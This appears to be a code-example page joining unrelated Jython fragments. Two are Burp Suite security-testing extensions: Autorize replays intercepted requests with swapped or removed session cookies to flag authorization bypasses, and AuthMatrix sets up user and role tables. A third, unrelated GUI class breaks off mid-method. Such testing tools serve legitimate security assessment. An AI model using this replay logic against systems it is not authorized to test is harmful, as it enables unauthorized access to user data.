        self.scrollPane.getVerticalScrollBar().addAdjustmentListener(autoScrollListener(self))
        self.menuES0 = JCheckBoxMenuItem(self._enfocementStatuses[0],True)
        self.menuES1 = JCheckBoxMenuItem(self._enfocementStatuses[1],True)
        self.menuES2 = JCheckBoxMenuItem(self._enfocementStatuses[2],True)
        self.menuES0.addItemListener(menuTableFilter(self))
        self.menuES1.addItemListener(menuTableFilter(self))
        self.menuES2.addItemListener(menuTableFilter(self))

        copyURLitem = JMenuItem("Copy URL");
        copyURLitem.addActionListener(copySelectedURL(self))
        self.menu = JPopupMenu("Popup")
        self.menu.add(copyURLitem)
        self.menu.add(self.menuES0)
        self.menu.add(self.menuES1)
        self.menu.add(self.menuES2)

        self.tabs = JTabbedPane()
        self._requestViewer = self._callbacks.createMessageEditor(self, False)
        self._responseViewer = self._callbacks.createMessageEditor(self, False)

        self._originalrequestViewer = self._callbacks.createMessageEditor(self, False)
        self._originalresponseViewer = self._callbacks.createMessageEditor(self, False)

        self._unauthorizedrequestViewer = self._callbacks.createMessageEditor(self, False)
        self._unauthorizedresponseViewer = self._callbacks.createMessageEditor(self, False)        

        self.tabs.addTab("Modified Request", self._requestViewer.getComponent())
        self.tabs.addTab("Modified Response", self._responseViewer.getComponent())

        self.tabs.addTab("Original Request", self._originalrequestViewer.getComponent())
        self.tabs.addTab("Original Response", self._originalresponseViewer.getComponent())

        self.tabs.addTab("Unauthenticated Request", self._unauthorizedrequestViewer.getComponent())
        self.tabs.addTab("Unauthenticated Response", self._unauthorizedresponseViewer.getComponent())        

        self.tabs.addTab("Configuration", self.pnl)
        self.tabs.setSelectedIndex(6)
        self._splitpane.setRightComponent(self.tabs)

    def initCallbacks(self):
        #
        ##  init callbacks
        #

        # customize our UI components
        self._callbacks.customizeUiComponent(self._splitpane)
        self._callbacks.customizeUiComponent(self.logTable)
        self._callbacks.customizeUiComponent(self.scrollPane)
        self._callbacks.customizeUiComponent(self.tabs)
        self._callbacks.customizeUiComponent(self.filtersTabs)
        self._callbacks.registerContextMenuFactory(self)
        # add the custom tab to Burp's UI
        self._callbacks.addSuiteTab(self)


    #
    ## Events functions
    #
    def startOrStop(self, event):
        if self.startButton.getText() == "Autorize is off":
            self.startButton.setText("Autorize is on")
            self.startButton.setBackground(Color.GREEN)
            self.intercept = 1
            self._callbacks.registerHttpListener(self)
        else:
            self.startButton.setText("Autorize is off")
            self.startButton.setBackground(Color(255, 100, 91, 255))
            self.intercept = 0
            self._callbacks.removeHttpListener(self)

    def addEDFilter(self, event):
        typeName = self.EDType.getSelectedItem().split(":")[0]
        self.EDModel.addElement(typeName + ": " + self.EDText.getText())

    def delEDFilter(self, event):
        index = self.EDList.getSelectedIndex();
        if not index == -1:
            self.EDModel.remove(index);

    def addEDFilterUnauth(self, event):
        typeName = self.EDTypeUnauth.getSelectedItem().split(":")[0]
        self.EDModelUnauth.addElement(typeName + ": " + self.EDTextUnauth.getText())

    def delEDFilterUnauth(self, event):
        index = self.EDListUnauth.getSelectedIndex();
        if not index == -1:
            self.EDModelUnauth.remove(index);            

    def addIFFilter(self, event):
        typeName = self.IFType.getSelectedItem().split(":")[0]
        self.IFModel.addElement(typeName + ": " + self.IFText.getText())

    def delIFFilter(self, event):
        index = self.IFList.getSelectedIndex();
        if not index == -1:
            self.IFModel.remove(index);

    def clearList(self, event):
        self._lock.acquire()
        oldSize = self._log.size()
        self._log.clear()
        self.fireTableRowsDeleted(0, oldSize - 1)
        self._lock.release()

    def export(self, event):
        if self.exportType.getSelectedItem() == "HTML":
            self.exportToHTML()
        else:
            self.exportToCSV()

    def exportToCSV(self):
        parentFrame = JFrame()
        fileChooser = JFileChooser()
        fileChooser.setSelectedFile(File("AutorizeReprort.csv"));
        fileChooser.setDialogTitle("Save Autorize Report")
        userSelection = fileChooser.showSaveDialog(parentFrame)
        if userSelection == JFileChooser.APPROVE_OPTION:
            fileToSave = fileChooser.getSelectedFile()

        enforcementStatusFilter = self.exportES.getSelectedItem()
        csvContent = "id\tURL\tOriginal length\tModified length\tUnauthorized length\tAuthorization Enforcement Status\tAuthorization Unauthenticated Status\n"

        for i in range(0,self._log.size()):

            if enforcementStatusFilter == "All Statuses":
                csvContent += "%d\t%s\t%d\t%d\t%d\t%s\t%s\n" % (self._log.get(i)._id,self._log.get(i)._url, len(self._log.get(i)._originalrequestResponse.getResponse()) if self._log.get(i)._originalrequestResponse != None else 0, len(self._log.get(i)._requestResponse.getResponse()) if self._log.get(i)._requestResponse != None else 0, len(self._log.get(i)._unauthorizedRequestResponse.getResponse()) if self._log.get(i)._unauthorizedRequestResponse != None else 0, self._log.get(i)._enfocementStatus, self._log.get(i)._enfocementStatusUnauthorized)
                
            else:
                if (enforcementStatusFilter == self._log.get(i)._enfocementStatus) or (enforcementStatusFilter == self._log.get(i)._enfocementStatusUnauthorized):
                    csvContent += "%d\t%s\t%d\t%d\t%d\t%s\t%s\n" % (self._log.get(i)._id,self._log.get(i)._url, len(self._log.get(i)._originalrequestResponse.getResponse()) if self._log.get(i)._originalrequestResponse != None else 0, len(self._log.get(i)._requestResponse.getResponse()) if self._log.get(i)._requestResponse != None else 0, len(self._log.get(i)._unauthorizedRequestResponse.getResponse()) if self._log.get(i)._unauthorizedRequestResponse != None else 0, self._log.get(i)._enfocementStatus, self._log.get(i)._enfocementStatusUnauthorized)
        
        f = open(fileToSave.getAbsolutePath(), 'w')
        f.writelines(csvContent)
        f.close()


    def exportToHTML(self):
        parentFrame = JFrame()
        fileChooser = JFileChooser()
        fileChooser.setSelectedFile(File("AutorizeReprort.html"));
        fileChooser.setDialogTitle("Save Autorize Report")
        userSelection = fileChooser.showSaveDialog(parentFrame)
        if userSelection == JFileChooser.APPROVE_OPTION:
            fileToSave = fileChooser.getSelectedFile()

        enforcementStatusFilter = self.exportES.getSelectedItem()
        htmlContent = """<html><title>Autorize Report by Barak Tawily</title>
        <style>
        .datagrid table { border-collapse: collapse; text-align: left; width: 100%; }
         .datagrid {font: normal 12px/150% Arial, Helvetica, sans-serif; background: #fff; overflow: hidden; border: 1px solid #006699; -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; }
         .datagrid table td, .datagrid table th { padding: 3px 10px; }
         .datagrid table thead th {background:-webkit-gradient( linear, left top, left bottom, color-stop(0.05, #006699), color-stop(1, #00557F) );background:-moz-linear-gradient( center top, #006699 5%, #00557F 100% );filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#006699', endColorstr='#00557F');background-color:#006699; color:#FFFFFF; font-size: 15px; font-weight: bold; border-left: 1px solid #0070A8; } .datagrid table thead th:first-child { border: none; }.datagrid table tbody td { color: #00496B; border-left: 1px solid #E1EEF4;font-size: 12px;font-weight: normal; }.datagrid table tbody .alt td { background: #E1EEF4; color: #00496B; }.datagrid table tbody td:first-child { border-left: none; }.datagrid table tbody tr:last-child td { border-bottom: none; }.datagrid table tfoot td div { border-top: 1px solid #006699;background: #E1EEF4;} .datagrid table tfoot td { padding: 0; font-size: 12px } .datagrid table tfoot td div{ padding: 2px; }.datagrid table tfoot td ul { margin: 0; padding:0; list-style: none; text-align: right; }.datagrid table tfoot  li { display: inline; }.datagrid table tfoot li a { text-decoration: none; display: inline-block;  padding: 2px 8px; margin: 1px;color: #FFFFFF;border: 1px solid #006699;-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; background:-webkit-gradient( linear, left top, left bottom, color-stop(0.05, #006699), color-stop(1, #00557F) );background:-moz-linear-gradient( center top, #006699 5%, #00557F 100% );filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#006699', endColorstr='#00557F');background-color:#006699; }.datagrid table tfoot ul.active, .datagrid table tfoot ul a:hover { text-decoration: none;border-color: #006699; color: #FFFFFF; background: none; background-color:#00557F;}div.dhtmlx_window_active, div.dhx_modal_cover_dv { position: fixed !important; }
        table {
        width: 100%;
        table-layout: fixed;
        }
        td {
            border: 1px solid #35f;
            overflow: hidden;
            text-overflow: ellipsis;
        }
        td.a {
            width: 13%;
            white-space: nowrap;
        }
        td.b {
            width: 9%;
            word-wrap: break-word;
        }
        </style>
        <body>
        <h1>Autorize Report<h1>
        <div class="datagrid"><table>
        <thead><tr><th width=\"3%\">ID</th><th width=\"48%\">URL</th><th width=\"9%\">Original length</th><th width=\"9%\">Modified length</th><th width=\"9%\">Unauthorized length</th><th width=\"11%\">Authorization Enforcement Status</th><th width=\"11%\">Authorization Unauthenticated Status</th></tr></thead>
        <tbody>"""

        for i in range(0,self._log.size()):
            color_modified = ""
            if self._log.get(i)._enfocementStatus == self._enfocementStatuses[0]:
                color_modified = "red"
            if self._log.get(i)._enfocementStatus == self._enfocementStatuses[1]:
                color_modified = "yellow"
            if self._log.get(i)._enfocementStatus == self._enfocementStatuses[2]:
                color_modified = "LawnGreen"

            color_unauthorized = ""
            if self._log.get(i)._enfocementStatusUnauthorized == self._enfocementStatuses[0]:
                color_unauthorized = "red"
            if self._log.get(i)._enfocementStatusUnauthorized == self._enfocementStatuses[1]:
                color_unauthorized = "yellow"
            if self._log.get(i)._enfocementStatusUnauthorized == self._enfocementStatuses[2]:
                color_unauthorized = "LawnGreen"

            if enforcementStatusFilter == "All Statuses":
                htmlContent += "<tr><td>%d</td><td><a href=\"%s\">%s</a></td><td>%d</td><td>%d</td><td>%d</td><td bgcolor=\"%s\">%s</td><td bgcolor=\"%s\">%s</td></tr>" % (self._log.get(i)._id,self._log.get(i)._url,self._log.get(i)._url, len(self._log.get(i)._originalrequestResponse.getResponse()) if self._log.get(i)._originalrequestResponse != None else 0, len(self._log.get(i)._requestResponse.getResponse()) if self._log.get(i)._requestResponse != None else 0, len(self._log.get(i)._unauthorizedRequestResponse.getResponse()) if self._log.get(i)._unauthorizedRequestResponse != None else 0, color_modified, self._log.get(i)._enfocementStatus, color_unauthorized, self._log.get(i)._enfocementStatusUnauthorized)
            else:
                if (enforcementStatusFilter == self._log.get(i)._enfocementStatus) or (enforcementStatusFilter == self._log.get(i)._enfocementStatusUnauthorized):
                    htmlContent += "<tr><td>%d</td><td><a href=\"%s\">%s</a></td><td>%d</td><td>%d</td><td>%d</td><td bgcolor=\"%s\">%s</td><td bgcolor=\"%s\">%s</td></tr>" % (self._log.get(i)._id,self._log.get(i)._url,self._log.get(i)._url, len(self._log.get(i)._originalrequestResponse.getResponse()) if self._log.get(i)._originalrequestResponse != None else 0, len(self._log.get(i)._requestResponse.getResponse()) if self._log.get(i)._requestResponse != None else 0, len(self._log.get(i)._unauthorizedRequestResponse.getResponse()) if self._log.get(i)._unauthorizedRequestResponse != None else 0, color_modified, self._log.get(i)._enfocementStatus, color_unauthorized, self._log.get(i)._enfocementStatusUnauthorized)

        htmlContent += "</tbody></table></div></body></html>"
        f = open(fileToSave.getAbsolutePath(), 'w')
        f.writelines(htmlContent)
        f.close()




    #
    # implement IContextMenuFactory
    #
    def createMenuItems(self, invocation):
        responses = invocation.getSelectedMessages();
        if responses > 0:
            ret = LinkedList()
            requestMenuItem = JMenuItem("Send request to Autorize");
            cookieMenuItem = JMenuItem("Send cookie to Autorize");
            requestMenuItem.addActionListener(handleMenuItems(self,responses[0], "request"))
            cookieMenuItem.addActionListener(handleMenuItems(self, responses[0], "cookie"))   
            ret.add(requestMenuItem);
            ret.add(cookieMenuItem);
            return(ret);
        return null;


    #
    # implement ITab
    #
    def getTabCaption(self):
        return "Autorize"
    
    def getUiComponent(self):
        return self._splitpane
        
    #
    # extend AbstractTableModel
    #
    
    def getRowCount(self):
        try:
            return self._log.size()
        except:
            return 0

    def getColumnCount(self):
        return 7

    def getColumnName(self, columnIndex):
        if columnIndex == 0:
            return "ID"
        if columnIndex == 1:
            return "URL"
        if columnIndex == 2:
            return "Orig. Length"            
        if columnIndex == 3:
            return "Modif. Length" 
        if columnIndex == 4:
            return "Unauth. Length"           
        if columnIndex == 5:
            return "Authorization Enforcement Status"
        if columnIndex == 6:
            return "Authorization Unauth. Status"
        return ""

    def getColumnClass(self, columnIndex):
        if columnIndex == 0:
            return Integer
        if columnIndex == 1:
            return String
        if columnIndex == 2:
            return Integer           
        if columnIndex == 3:
            return Integer 
        if columnIndex == 4:
            return Integer          
        if columnIndex == 5:
            return String
        if columnIndex == 6:
            return String
        return String

    def getValueAt(self, rowIndex, columnIndex):
        logEntry = self._log.get(rowIndex)
        if columnIndex == 0:
            return logEntry._id
        if columnIndex == 1:
            return logEntry._url.toString()
        if columnIndex == 2:
            return len(logEntry._originalrequestResponse.getResponse())
        if columnIndex == 3:
            return len(logEntry._requestResponse.getResponse())
        if columnIndex == 4:
            if logEntry._unauthorizedRequestResponse != None:
                return len(logEntry._unauthorizedRequestResponse.getResponse())
            else:
                #return "-"
                return 0
        if columnIndex == 5:
            return logEntry._enfocementStatus   
        if columnIndex == 6:
            return logEntry._enfocementStatusUnauthorized        
        return ""

    #
    # implement IMessageEditorController
    # this allows our request/response viewers to obtain details about the messages being displayed
    #
    
    def getHttpService(self):
        return self._currentlyDisplayedItem.getHttpService()

    def getRequest(self):
        return self._currentlyDisplayedItem.getRequest()

    def getResponse(self):
        return self._currentlyDisplayedItem.getResponse()


    #
    # implement IHttpListener
    #
    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):

        #if (self.intercept == 1) and (toolFlag != self._callbacks.TOOL_EXTENDER):
        if (self.intercept == 1) and (toolFlag == self._callbacks.TOOL_PROXY):
            if self.prevent304.isSelected():
                if messageIsRequest:
                    requestHeaders = list(self._helpers.analyzeRequest(messageInfo).getHeaders())
                    newHeaders = list()
                    found = 0
                    for header in requestHeaders:
                        if not "If-None-Match:" in header and not "If-Modified-Since:" in header:
                            newHeaders.append(header)
                            found = 1
                    if found == 1:
                        requestInfo = self._helpers.analyzeRequest(messageInfo)
                        bodyBytes = messageInfo.getRequest()[requestInfo.getBodyOffset():]
                        bodyStr = self._helpers.bytesToString(bodyBytes)
                        messageInfo.setRequest(self._helpers.buildHttpMessage(newHeaders, bodyStr))


            if not messageIsRequest:
                if not self.replaceString.getText() in self._helpers.analyzeRequest(messageInfo).getHeaders():
                    if self.ignore304.isSelected():
                        firstHeader = self._helpers.analyzeResponse(messageInfo.getResponse()).getHeaders()[0]
                        if "304" in firstHeader or "204" in firstHeader:
                           return
                    if self.IFList.getModel().getSize() == 0:
                        self.checkAuthorization(messageInfo,self._helpers.analyzeResponse(messageInfo.getResponse()).getHeaders(),self.doUnauthorizedRequest.isSelected())
                    else:
                        urlString = str(self._helpers.analyzeRequest(messageInfo).getUrl())
                        
                        do_the_check = 1

                        for i in range(0,self.IFList.getModel().getSize()):

                            if self.IFList.getModel().getElementAt(i).split(":")[0] == "Scope items only":
                                currentURL = URL(urlString)
                                if not self._callbacks.isInScope(currentURL):
                                    do_the_check = 0
                            if self.IFList.getModel().getElementAt(i).split(":")[0] == "URL Contains (simple string)":
                                if self.IFList.getModel().getElementAt(i)[30:] not in urlString:
                                    do_the_check = 0
                            if self.IFList.getModel().getElementAt(i).split(":")[0] == "URL Contains (regex)":
                                regex_string = self.IFList.getModel().getElementAt(i)[22:]
                                p = re.compile(regex_string, re.IGNORECASE)
                                if not p.search(urlString):
                                    do_the_check = 0  
                            if self.IFList.getModel().getElementAt(i).split(":")[0] == "URL Not Contains (simple string)":
                                if self.IFList.getModel().getElementAt(i)[34:] in urlString:
                                    do_the_check = 0
                            if self.IFList.getModel().getElementAt(i).split(":")[0] == "URL Not Contains (regex)":
                                regex_string = self.IFList.getModel().getElementAt(i)[26:]
                                p = re.compile(regex_string, re.IGNORECASE)
                                if p.search(urlString):
                                    do_the_check = 0                                                                       

                        if do_the_check:
                            self.checkAuthorization(messageInfo,self._helpers.analyzeResponse(messageInfo.getResponse()).getHeaders(),self.doUnauthorizedRequest.isSelected())

        return

    def sendRequestToAutorizeWork(self,messageInfo):

        if messageInfo.getResponse() == None:
            message = self.makeMessage(messageInfo,False,False)
            requestResponse = self.makeRequest(messageInfo, message)
            self.checkAuthorization(requestResponse,self._helpers.analyzeResponse(requestResponse.getResponse()).getHeaders(),self.doUnauthorizedRequest.isSelected())
        else:
            self.checkAuthorization(messageInfo,self._helpers.analyzeResponse(messageInfo.getResponse()).getHeaders(),self.doUnauthorizedRequest.isSelected())


    def makeRequest(self, messageInfo, message):
        requestURL = self._helpers.analyzeRequest(messageInfo).getUrl()
        return self._callbacks.makeHttpRequest(self._helpers.buildHttpService(str(requestURL.getHost()), int(requestURL.getPort()), requestURL.getProtocol() == "https"), message)

    def makeMessage(self, messageInfo, removeOrNot, authorizeOrNot):
        requestInfo = self._helpers.analyzeRequest(messageInfo)
        headers = requestInfo.getHeaders()
        if removeOrNot:
            headers = list(headers)
            removeHeaders = ArrayList()
            removeHeaders.add(self.replaceString.getText()[0:self.replaceString.getText().index(":")])

            for header in headers[:]:
                for removeHeader in removeHeaders:
                    if removeHeader in header:
                        headers.remove(header)

            if authorizeOrNot:
                headers.append(self.replaceString.getText())

        msgBody = messageInfo.getRequest()[requestInfo.getBodyOffset():]
        return self._helpers.buildHttpMessage(headers, msgBody)

    def checkBypass(self,oldStatusCode,newStatusCode,oldContentLen,newContentLen,filters,requestResponse):

        analyzedResponse = self._helpers.analyzeResponse(requestResponse.getResponse())
        impression = ""

        if oldStatusCode == newStatusCode:
            if oldContentLen == newContentLen:
                impression = self._enfocementStatuses[0]
            else:

                auth_enforced = 1
                
                for filter in filters:

                    if str(filter).startswith("Headers (simple string): "):
                        if not(filter[25:] in self._helpers.bytesToString(requestResponse.getResponse()[0:analyzedResponse.getBodyOffset()])):
                            auth_enforced = 0

                    if str(filter).startswith("Headers (regex): "):
                        regex_string = filter[17:]
                        p = re.compile(regex_string, re.IGNORECASE)
                        if not p.search(self._helpers.bytesToString(requestResponse.getResponse()[0:analyzedResponse.getBodyOffset()])):
                            auth_enforced = 0

                    if str(filter).startswith("Body (simple string): "):
                        if not(filter[22:] in self._helpers.bytesToString(requestResponse.getResponse()[analyzedResponse.getBodyOffset():])):
                            auth_enforced = 0

                    if str(filter).startswith("Body (regex): "):
                        regex_string = filter[14:]
                        p = re.compile(regex_string, re.IGNORECASE)
                        if not p.search(self._helpers.bytesToString(requestResponse.getResponse()[analyzedResponse.getBodyOffset():])):
                            auth_enforced = 0

                    if str(filter).startswith("Full request (simple string): "):
                        if not(filter[30:] in self._helpers.bytesToString(requestResponse.getResponse())):
                            auth_enforced = 0

                    if str(filter).startswith("Full request (regex): "):
                        regex_string = filter[22:]
                        p = re.compile(regex_string, re.IGNORECASE)
                        if not p.search(self._helpers.bytesToString(requestResponse.getResponse())):
                            auth_enforced = 0

                    if str(filter).startswith("Content-Length: "):
                        if newContentLen != filter:
                            auth_enforced = 0
                
                if auth_enforced:
                    impression = self._enfocementStatuses[2]
                else:
                    impression = self._enfocementStatuses[1]
                         
        else:
            impression = self._enfocementStatuses[2]

        return impression

    def checkAuthorization(self, messageInfo, originalHeaders, checkUnauthorized):
        message = self.makeMessage(messageInfo,True,True)
        requestResponse = self.makeRequest(messageInfo, message)
        analyzedResponse = self._helpers.analyzeResponse(requestResponse.getResponse())
        
        oldStatusCode = originalHeaders[0]
        newStatusCode = analyzedResponse.getHeaders()[0]
        oldContentLen = self.getContentLength(originalHeaders)
        newContentLen = self.getContentLength(analyzedResponse.getHeaders())

        # Check unauthorized request
        if checkUnauthorized:
            messageUnauthorized = self.makeMessage(messageInfo,True,False)
            requestResponseUnauthorized = self.makeRequest(messageInfo, messageUnauthorized)
            analyzedResponseUnauthorized = self._helpers.analyzeResponse(requestResponseUnauthorized.getResponse())  
            statusCodeUnauthorized = analyzedResponseUnauthorized.getHeaders()[0]
            contentLenUnauthorized = self.getContentLength(analyzedResponseUnauthorized.getHeaders())

        EDFilters = self.EDModel.toArray()
        impression = self.checkBypass(oldStatusCode,newStatusCode,oldContentLen,newContentLen,EDFilters,requestResponse)

        if checkUnauthorized:
            EDFiltersUnauth = self.EDModelUnauth.toArray()
            impressionUnauthorized = self.checkBypass(oldStatusCode,statusCodeUnauthorized,oldContentLen,contentLenUnauthorized,EDFiltersUnauth,requestResponseUnauthorized)

        self._lock.acquire()
        
        row = self._log.size()
        
        if checkUnauthorized:
            self._log.add(LogEntry(self.currentRequestNumber,self._callbacks.saveBuffersToTempFiles(requestResponse), self._helpers.analyzeRequest(requestResponse).getUrl(),messageInfo,impression,self._callbacks.saveBuffersToTempFiles(requestResponseUnauthorized),impressionUnauthorized)) # same requests not include again.
        else:
            self._log.add(LogEntry(self.currentRequestNumber,self._callbacks.saveBuffersToTempFiles(requestResponse), self._helpers.analyzeRequest(requestResponse).getUrl(),messageInfo,impression,None,"Disabled")) # same requests not include again.
        
        self.fireTableRowsInserted(row, row)
        self.currentRequestNumber = self.currentRequestNumber + 1
        self._lock.release()
        
    def getContentLength(self, analyzedResponseHeaders):
        for header in analyzedResponseHeaders:
            if "Content-Length:" in header:
                return header;
        return "null"

    def getCookieFromMessage(self, messageInfo):
        headers = list(self._helpers.analyzeRequest(messageInfo.getRequest()).getHeaders())
        for header in headers:
            if "Cookie:" in header:
                return header
        return None
예제 #12
0
    def registerExtenderCallbacks(self, callbacks):

        # keep a reference to our Burp callbacks object
        self._callbacks = callbacks
        # obtain an Burp extension helpers object
        self._helpers = callbacks.getHelpers()
        # set our extension name
        callbacks.setExtensionName("AuthMatrix - v0.4")

        # DB that holds everything users, roles, and messages
        self._db = MatrixDB()

        # For saving/loading config
        self._fc = JFileChooser()

        # Used by ActionListeners
        selfExtender = self
        self._selectedColumn = -1
        self._selectedRow = -1

        # Table of User entries
        self._userTable = UserTable(self, model=UserTableModel(self._db))
        roleScrollPane = JScrollPane(self._userTable)
        self._userTable.redrawTable()

        # Table of Request (AKA Message) entries
        self._messageTable = MessageTable(self,
                                          model=MessageTableModel(self._db))
        messageScrollPane = JScrollPane(self._messageTable)
        self._messageTable.redrawTable()

        # Semi-Generic Popup stuff
        def addPopup(component, popup):
            class genericMouseListener(MouseAdapter):
                def mousePressed(self, e):
                    if e.isPopupTrigger():
                        self.showMenu(e)

                def mouseReleased(self, e):
                    if e.isPopupTrigger():
                        self.showMenu(e)

                def showMenu(self, e):
                    if type(component) is JTableHeader:
                        table = component.getTable()
                        column = component.columnAtPoint(e.getPoint())
                        if type(
                                table
                        ) is MessageTable and column >= selfExtender._db.STATIC_MESSAGE_TABLE_COLUMN_COUNT or type(
                                table
                        ) is UserTable and column >= selfExtender._db.STATIC_USER_TABLE_COLUMN_COUNT:
                            selfExtender._selectedColumn = column
                        else:
                            return
                    else:
                        selfExtender._selectedRow = component.rowAtPoint(
                            e.getPoint())
                    popup.show(e.getComponent(), e.getX(), e.getY())

            component.addMouseListener(genericMouseListener())

        class actionRunMessage(ActionListener):
            def actionPerformed(self, e):
                if selfExtender._selectedRow >= 0:
                    if selfExtender._selectedRow not in selfExtender._messageTable.getSelectedRows(
                    ):
                        indexes = [
                            selfExtender._db.getMessageByRow(
                                selfExtender._selectedRow)._index
                        ]
                    else:
                        indexes = [
                            selfExtender._db.getMessageByRow(rowNum)._index
                            for rowNum in
                            selfExtender._messageTable.getSelectedRows()
                        ]
                    t = Thread(target=selfExtender.runMessagesThread,
                               args=[indexes])
                    t.start()
                    selfExtender._selectedColumn = -1
                    # Redrawing the table happens in colorcode within the thread

        class actionRemoveMessage(ActionListener):
            def actionPerformed(self, e):
                if selfExtender._selectedRow >= 0:
                    if selfExtender._selectedRow not in selfExtender._messageTable.getSelectedRows(
                    ):
                        indexes = [
                            selfExtender._db.getMessageByRow(
                                selfExtender._selectedRow)._index
                        ]
                    else:
                        indexes = [
                            selfExtender._db.getMessageByRow(rowNum)._index
                            for rowNum in
                            selfExtender._messageTable.getSelectedRows()
                        ]
                    for i in indexes:
                        selfExtender._db.deleteMessage(i)
                    selfExtender._selectedColumn = -1
                    selfExtender._messageTable.redrawTable()

        class actionRemoveUser(ActionListener):
            def actionPerformed(self, e):
                if selfExtender._selectedRow >= 0:
                    if selfExtender._selectedRow not in selfExtender._userTable.getSelectedRows(
                    ):
                        indexes = [
                            selfExtender._db.getUserByRow(
                                selfExtender._selectedRow)._index
                        ]
                    else:
                        indexes = [
                            selfExtender._db.getUserByRow(rowNum)._index
                            for rowNum in
                            selfExtender._userTable.getSelectedRows()
                        ]
                    for i in indexes:
                        selfExtender._db.deleteUser(i)
                    selfExtender._selectedColumn = -1
                    selfExtender._userTable.redrawTable()

        # TODO combine these next two classes
        # TODO Also, clean up the variable names where M and U are in place of MessageTable and UserTable
        class actionRemoveRoleHeaderFromM(ActionListener):
            def actionPerformed(self, e):
                if selfExtender._selectedColumn >= 0:
                    selfExtender._db.deleteRole(
                        selfExtender._db.getRoleByMColumn(
                            selfExtender._selectedColumn)._index)
                    selfExtender._selectedColumn = -1
                    selfExtender._userTable.redrawTable()
                    selfExtender._messageTable.redrawTable()

        class actionRemoveRoleHeaderFromU(ActionListener):
            def actionPerformed(self, e):
                if selfExtender._selectedColumn >= 0:
                    selfExtender._db.deleteRole(
                        selfExtender._db.getRoleByUColumn(
                            selfExtender._selectedColumn)._index)
                    selfExtender._selectedColumn = -1
                    selfExtender._userTable.redrawTable()
                    selfExtender._messageTable.redrawTable()

        # Message Table popups
        messagePopup = JPopupMenu()
        addPopup(self._messageTable, messagePopup)
        messageRun = JMenuItem("Run Request(s)")
        messageRun.addActionListener(actionRunMessage())
        messagePopup.add(messageRun)
        messageRemove = JMenuItem("Remove Request(s)")
        messageRemove.addActionListener(actionRemoveMessage())
        messagePopup.add(messageRemove)

        messageHeaderPopup = JPopupMenu()
        addPopup(self._messageTable.getTableHeader(), messageHeaderPopup)
        roleRemoveFromM = JMenuItem("Remove Role")
        roleRemoveFromM.addActionListener(actionRemoveRoleHeaderFromM())
        messageHeaderPopup.add(roleRemoveFromM)

        # User Table popup
        userPopup = JPopupMenu()
        addPopup(self._userTable, userPopup)
        userRemove = JMenuItem("Remove Users(s)")
        userRemove.addActionListener(actionRemoveUser())
        userPopup.add(userRemove)

        userHeaderPopup = JPopupMenu()
        addPopup(self._userTable.getTableHeader(), userHeaderPopup)
        roleRemoveFromU = JMenuItem("Remove Role")
        roleRemoveFromU.addActionListener(actionRemoveRoleHeaderFromU())
        userHeaderPopup.add(roleRemoveFromU)

        # Top pane
        topPane = JSplitPane(JSplitPane.VERTICAL_SPLIT, roleScrollPane,
                             messageScrollPane)
        topPane.setResizeWeight(0.3)

        # request tabs added to this tab on click in message table
        self._tabs = JTabbedPane()

        # Button pannel
        buttons = JPanel()
        runButton = JButton("Run", actionPerformed=self.runClick)
        newUserButton = JButton("New User",
                                actionPerformed=self.getInputUserClick)
        newRoleButton = JButton("New Role",
                                actionPerformed=self.getInputRoleClick)
        #debugButton = JButton("Debug", actionPerformed=self.printDB)
        saveButton = JButton("Save", actionPerformed=self.saveClick)
        loadButton = JButton("Load", actionPerformed=self.loadClick)
        clearButton = JButton("Clear", actionPerformed=self.clearClick)
        buttons.add(runButton)
        buttons.add(newUserButton)
        buttons.add(newRoleButton)
        #buttons.add(debugButton)
        buttons.add(saveButton)
        buttons.add(loadButton)
        buttons.add(clearButton)

        bottomPane = JSplitPane(JSplitPane.VERTICAL_SPLIT, self._tabs, buttons)
        bottomPane.setResizeWeight(0.95)

        # Main Pane
        self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT, topPane,
                                     bottomPane)
        self._splitpane.setResizeWeight(0.5)

        # customize our UI components
        callbacks.customizeUiComponent(self._splitpane)
        callbacks.customizeUiComponent(topPane)
        callbacks.customizeUiComponent(bottomPane)
        callbacks.customizeUiComponent(messageScrollPane)
        callbacks.customizeUiComponent(roleScrollPane)
        callbacks.customizeUiComponent(self._messageTable)
        callbacks.customizeUiComponent(self._userTable)
        callbacks.customizeUiComponent(self._tabs)
        callbacks.customizeUiComponent(buttons)

        # Handles checkbox color coding
        # Must be bellow the customizeUiComponent calls
        self._messageTable.setDefaultRenderer(Boolean,
                                              SuccessBooleanRenderer(self._db))

        # add the custom tab to Burp's UI
        callbacks.addSuiteTab(self)
        # register SendTo option
        callbacks.registerContextMenuFactory(self)

        return
예제 #13
0
class BobGui(JFrame):
    def __init__(self):
        super(BobGui, self).__init__('BobPy')

        # cls = self.getClass()
        # print(cls)

        # self.setLayout(MigLayout())
        self.setLayout(BorderLayout())
        self.main_panel = JPanel()
        self.main_panel.setLayout(MigLayout())

        dir_panel = JPanel()
        dir_panel.setLayout(BoxLayout(dir_panel, BoxLayout.X_AXIS))

        dir_label = JLabel('Experiment Folder:')
        dir_panel.add(dir_label)

        self.dir_text_field = JTextField(10)
        self.dir_text_field.addActionListener(
            ActionListenerFactory(self, self.text_field_al))
        dir_panel.add(self.dir_text_field)

        dir_button = JButton('open')
        dir_button.addActionListener(
            ActionListenerFactory(self, self.choose_dir_al))
        dir_panel.add(dir_button)

        self.main_panel.add(dir_panel, 'growx, spanx, pushx, wrap')

        add_key_args(self.main_panel, 'close_w',
                     ActionListenerFactory(self, self.close_al), KeyEvent.VK_W,
                     Toolkit.getDefaultToolkit().getMenuShortcutKeyMask())

        self.add(self.main_panel, BorderLayout.CENTER)

        self.setPreferredSize(Dimension(500, 400))

        self.pack()
        self.setLocationRelativeTo(None)
        self.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE)
        self.setVisible(True)

    def show_exper_info_old(self):
        # sb = br.SimilarityBuilder()
        cab = br.CollectionArchetypeBuilder()

        for hseg in self.exper.hsegs():
            all_file_dict = hseg.file_dict()
            all_file_dict.update(hseg.cell_file_dict())
            all_file_dict.update(hseg.bin_file_dict())
            cab.add_collection(hseg.name, all_file_dict)

        hseg_at, hseg_at_deviations = cab.get_archetype_info()

        at_str = ''
        for val in hseg_at:
            at_str += str(val) + '\n'

        chf_panel = self.make_chf_panel(at_str)
